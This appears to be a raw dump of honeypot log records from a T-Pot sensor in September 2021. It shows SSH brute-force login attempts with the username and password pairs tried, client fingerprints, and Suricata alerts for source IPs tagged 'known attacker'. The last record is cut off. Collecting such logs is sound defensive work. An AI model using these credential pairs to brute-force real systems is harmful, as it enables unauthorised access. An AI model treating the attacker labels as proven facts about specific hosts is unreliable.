29943	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:31:26.082331+03	2021-09-20 14:45:02.371142+03	{"_id": "agb5AnwBvYTbRNuEoDlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [vnc/vnc@123] failed", "session": "664c8228593a", "@version": "1", "password": "vnc@123", "username": "vnc", "timestamp": "2021-09-20T11:31:26.082331Z", "@timestamp": "2021-09-20T11:31:26.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29944	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:31:25.808915+03	2021-09-20 14:45:02.372142+03	{"_id": "bAb5AnwBvYTbRNuEoTns", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1965426176023252, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49028, "dest_port": 22, "timestamp": "2021-09-20T11:31:25.808915Z", "@timestamp": "2021-09-20T11:31:25.808Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29945	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:31:25.98874+03	2021-09-20 14:45:02.373142+03	{"_id": "bQb5AnwBvYTbRNuEozkT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 49028, "dest_port": 22, "timestamp": "2021-09-20T11:31:25.988740", "@timestamp": "2021-09-20T11:31:25.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29946	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:31:26.806495+03	2021-09-20 14:45:02.374142+03	{"_id": "bgb5AnwBvYTbRNuEpDkx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/supersuper] failed", "session": "15a6e3d1d690", "@version": "1", "password": "supersuper", "username": "root", "timestamp": "2021-09-20T11:31:26.806495Z", "@timestamp": "2021-09-20T11:31:26.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29947	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:31:17.945098+03	2021-09-20 14:45:02.375142+03	{"_id": "Ugb5AnwBvYTbRNuEgTkD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "c265aebea7a3", "@version": "1", "duration": 1.3423514366149902, "timestamp": "2021-09-20T11:31:17.945098Z", "@timestamp": "2021-09-20T11:31:17.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29948	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:31:44.04598+03	2021-09-20 14:45:02.377142+03	{"_id": "oAb5AnwBvYTbRNuE6DlG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:31:43.701653+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2125216140473557, "payload": "AAADzAYU77Vzg6JBjZW1sqbxTeXUVgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53668, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:31:44.045980Z", "@timestamp": "2021-09-20T11:31:44.045Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........s..A......M..V...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29949	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:31:43.929823+03	2021-09-20 14:45:02.378171+03	{"_id": "oQb5AnwBvYTbRNuE6DlG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:43.929823Z", "@timestamp": "2021-09-20T11:31:43.929Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29950	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:31:44.609469+03	2021-09-20 14:45:02.379173+03	{"_id": "ogb5AnwBvYTbRNuE6DlG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 419695364625352, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34375, "dest_port": 22, "timestamp": "2021-09-20T11:31:44.609469Z", "@timestamp": "2021-09-20T11:31:44.609Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29951	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:31:44.60962+03	2021-09-20 14:45:02.380171+03	{"_id": "owb5AnwBvYTbRNuE6Tln", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 34375, "dest_port": 22, "timestamp": "2021-09-20T11:31:44.609620", "@timestamp": "2021-09-20T11:31:44.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29952	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:31:44.610253+03	2021-09-20 14:45:02.382172+03	{"_id": "qAb5AnwBvYTbRNuE6jmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "8b6a4126fda7", "@version": "1", "timestamp": "2021-09-20T11:31:44.610253Z", "@timestamp": "2021-09-20T11:31:44.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29953	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:31:44.825126+03	2021-09-20 14:45:02.383174+03	{"_id": "qQb5AnwBvYTbRNuE6jmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [root/test1] failed", "session": "d2cf7b1654d1", "@version": "1", "password": "test1", "username": "root", "timestamp": "2021-09-20T11:31:44.825126Z", "@timestamp": "2021-09-20T11:31:44.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29954	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:44.933918+03	2021-09-20 14:45:02.384172+03	{"_id": "qgb5AnwBvYTbRNuE7Dku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 9, "bytes_toclient": 0, "bytes_toserver": 850}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:44.933918Z", "@timestamp": "2021-09-20T11:31:44.933Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30815	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:38:41.568952+03	2021-09-20 14:45:03.664141+03	{"_id": "QgYAA3wBvYTbRNuERT_8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:38:41.005858+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1458126142379746, "payload": "AAADzAYUJ8Jo4AIZpdYVHTHWJYoqegAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35400, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:41.568952Z", "@timestamp": "2021-09-20T11:38:41.568Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......'.h.......1.%.*z...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29955	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:44.934614+03	2021-09-20 14:45:02.385172+03	{"_id": "qwb5AnwBvYTbRNuE7Dku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 10, "bytes_toclient": 0, "bytes_toserver": 940}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": 